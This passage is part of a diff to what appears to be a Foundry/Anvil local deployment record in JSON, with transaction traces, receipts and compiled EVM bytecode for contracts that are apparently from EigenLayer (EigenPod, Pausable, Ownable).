006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b90965094505060208601356001600160401b03811115614f9d57600080fd5b614fa988828901614e0f565b96999598509660400135949350505050565b60008060008060008060008060a0898b031215614fd757600080fd5b8835614fe281614c77565b975060208901356001600160401b03811115614ffd57600080fd5b6150098b828c01614ce4565b90985096505060408901356001600160401b0381111561502857600080fd5b6150348b828c01614ccc565b95505060608901356001600160401b03811115614dc457600080fd5b6001600160a01b038116811461200057600080fd5b8035614c9781615050565b6000806040838503121561508357600080fd5b823561508e81615050565b946020939093013593505050565b6000602082840312156150ae57600080fd5b81356136fd81615050565b634e487b7160e01b600052604160045260246000fd5b60405161018081016001600160401b03811182821017156150f2576150f26150b9565b60405290565b604051601f8201601f191681016001600160401b0381118282101715615120576151206150b9565b604052919050565b60006001600160401b03821115615141576151416150b9565b5060051b60200190565b600082601f83011261515c57600080fd5b813561516f61516a82615128565b6150f8565b8082825260208201915060208360051b86010192508583111561519157600080fd5b602085015b838110156151ae578035835260209283019201615196565b5095945050505050565b6000806000606084860312156151cd57600080fd5b83356001600160401b038111156151e357600080fd5b8401601f810186136151f457600080fd5b803561520261516a82615128565b8082825260208201915060208360051b85010192508883111561522457600080fd5b6020840193505b8284101561524f57833561523e81615050565b82526020938401939091019061522b565b955050505060208401356001600160401b0381111561526d57600080fd5b6152798682870161514b565b92505061528860408501615065565b90509250925092565b60008060008060008060008060008060c08b8d0312156152b057600080fd5b6152b98b614c8c565b995060208b01356001600160401b038111156152d457600080fd5b6152e08d828e01614ccc565b99505060408b01356001600160401b038111156152fc57600080fd5b6153088d828e01614ce4565b90995097505060608b01356001600160401b0381111561532757600080fd5b6153338d828e01614ce4565b90975095505060808b01356001600160401b0381111561535257600080fd5b61535e8d828e01614ce4565b90955093505060a08b01356001600160401b0381111561537d57600080fd5b6153898d828e01614ce4565b915080935050809150509295989b9194979a5092959850565b6000602082840312156153b457600080fd5b815180151581146136fd57600080fd5b6020808252603e908201527f456967656e506f642e6f6e6c795768656e4e6f745061757365643a20696e646560408201527f782069732070617573656420696e20456967656e506f644d616e616765720000606082015260800190565b60208082526028908201527f456967656e506f642e6f6e6c79456967656e506f644f776e65723a206e6f74206040820152673837b227bbb732b960c11b606082015260800190565b6020808252602f908201527f456967656e506f642e6861734e6576657252657374616b65643a20726573746160408201526e1ada5b99c81a5cc8195b98589b1959608a1b606082015260800190565b6000602082840312156154ca57600080fd5b5051919050565b6000808335601e198436030181126154e857600080fd5b8301803591506001600160401b0382111561550257600080fd5b602001915036819003821315614d2857600080fd5b634e487b7160e01b600052603260045260246000fd5b60006020828403121561553f57600080fd5b813564ffffffffff811681146136fd57600080fd5b6000808335601e1984360301811261556b57600080fd5b8301803591506001600160401b0382111561558557600080fd5b6020019150600581901b3603821315614d2857600080fd5b60208082526031908201527f456967656e506f642e6f6e6c79456967656e506f644d616e616765723a206e6f6040820152703a1032b4b3b2b72837b226b0b730b3b2b960791b606082015260800190565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60005b8381101561563257818101518382015260200161561a565b50506000910152565b60008151808452615653816020860160208601615617565b601f01601f19169290920160200192915050565b60808152600061567b60808301888a6155ee565b828103602084015261568d818861563b565b905082810360408401526156a28186886155ee565b915050826060830152979650505050505050565b602081526000614adc6020830184866155ee565b80820182811260008312801582168215821617156156ea576156ea614c4e565b505092915050565b80820260008212600160ff1b8414161561570e5761570e614c4e565b8181058314821517610d0457610d04614c4e565b634e487b7160e01b600052601260045260246000fd5b60008261574757615747615722565b500690565b60008261575b5761575b615722565b500490565b6001600160401b038281168282160390811115610d0457610d04614c4e565b6000823561017e1983360301811261579657600080fd5b9190910192915050565b8082028115828204841417610d0457610d04614c4e565b81810381811115610d0457610d04614c4e565b6001600160401b038181168382160290811690818114614f3d57614f3d614c4e565b60006001600160401b0383168061580557615805615722565b806001600160401b0384160491505092915050565b6001600160401b038181168382160190811115610d0457610d04614c4e565b80516020808301519190811015614cde5760001960209190910360031b1b16919050565b60006001820161586f5761586f614c4e565b5060010190565b60008351615888818460208801615617565b6001600160801b0319939093169190920190815260100192915050565b60008251615796818460208701615617565b600082601f8301126158c857600080fd5b81356001600160401b038111156158e1576158e16150b9565b6158f4601f8201601f19166020016150f8565b81815284602083860101111561590957600080fd5b816020850160208301376000918101602001919091529392505050565b6000610180823603121561593957600080fd5b6159416150cf565b82356001600160401b0381111561595757600080fd5b615963368286016158b7565b82525060208301356001600160401b0381111561597f57600080fd5b61598b368286016158b7565b60208301525060408301356001600160401b038111156159aa57600080fd5b6159b6368286016158b7565b60408301525060608301356001600160401b038111156159d557600080fd5b6159e1368286016158b7565b60608301525060808301356001600160401b03811115615a0057600080fd5b615a0c368286016158b7565b608083015250615a1e60a08401614c8c565b60a0820152615a2f60c08401614c8c565b60c0820152615a4060e08401614c8c565b60e082015261010083810135908201526101208084013590820152610140808401359082015261016092830135928101929092525090565b600060208284031215615a8a57600080fd5b81516136fd81614c77565b6001815b6001841115615ad057808504811115615ab457615ab4614c4e565b6001841615615ac257908102905b60019390931c928002615a99565b935093915050565b600082615ae757506001610d04565b81615af457506000610d04565b8160018114615b0a5760028114615b1457615b30565b6001915050610d04565b60ff841115615b2557615b25614c4e565b50506001821b610d04565b5060208310610133831016604e8410600b8410161715615b53575081810a610d04565b615b606000198484615a95565b8060001904821115615b7457615b74614c4e565b029392505050565b60006136fd8383615ad8565b8181036000831280158383131683831282161715614f3d57614f3d614c4e565b600060208284031215615bba57600080fd5b81356136fd81614c77565b600081615bd457615bd4614c4e565b506000190190565b6020815260006136fd602083018461563b56fe426561636f6e436861696e50726f6f66732e7665726966795769746864726177a26469706673582212201a01de1d59be7fe16e003e55aa445e180a6e7594b61dacfe81b7a8e81476cdc664736f6c634300081b0033", + "nonce": 10, + "gas_used": 5181770 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0xde9e2", + "cumulativeGasUsed": "0x4f114a", "logs": [ { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", - "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" - ], - "data": "0x" - }, - { - "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x610178da211fef7d417bc0e6fed39f05609ad788", "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - } - ], - "logsBloom": "0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - }, - "block_hash": "0x2c6ee5398f79fd95878301d23352454202bf3c51130435820fde873a683e4f76", - "block_number": 18 - }, - { - "info": { - "transaction_hash": "0x22a9f86b632e0721e86b2a5abace725309858cf2abca7c3f7f22df7902873912", - "transaction_index": 1, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0", - "traces": [ - { - "parent": null, - "children": [], - "idx": 0, - "trace": { - "depth": 0, - "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0", - "maybe_precompile": false, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CREATE", - "value": "0x0", - "data": "0x6080604052348015600f57600080fd5b50607780601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033", - "output": "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033", - "gas_used": 23875, - "gas_limit": 47605, - "status": "Return", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [], - "ordering": [] + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" } ], - "exit": "Return", - "out": "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033", - "nonce": 2, - "gas_used": 79145 - }, - "receipt": { - "type": "0x2", - "status": "0x1", - "cumulativeGasUsed": "0x65ecf", - "logs": [], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059", - "block_number": 2 + "block_hash": "0x4c2e7f6f7d3b694b58c1a6516aa7554d93d7566cc27e498ecf1c3c0d76d5d5b6", + "block_number": 8 }, { "info": { - "transaction_hash": "0xa361a3efc5988988fae8b8032691e7dafbdcf1d0731fbb34765174e0d70efa09", + "transaction_hash": "0x2d2c24b169d1df517c115d149cf7caeeec8b4d96fc9ff7fddf12f78c50215194", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x959922be3caee4b8cd9a407cc3ac1c251c2007b1", + "contract_address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", "traces": [ { "parent": null, @@ -2268,72 +1920,18 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x959922be3caee4b8cd9a407cc3ac1c251c2007b1", + "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", "maybe_precompile": false, "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CREATE", - "value": "0x0", - "data": "0x6080604052348015600f57600080fd5b50604051610ee6380380610ee6833981016040819052602c916049565b5050607e565b6001600160a01b0381168114604657600080fd5b50565b60008060408385031215605b57600080fd5b82516064816032565b60208401519092506073816032565b809150509250929050565b610e598061008d6000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "output": "0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033", - "gas_used": 735686, - "gas_limit": 990197, - "status": "Return", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [], - "ordering": [] - } - ], - "exit": "Return", - "out": "0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610d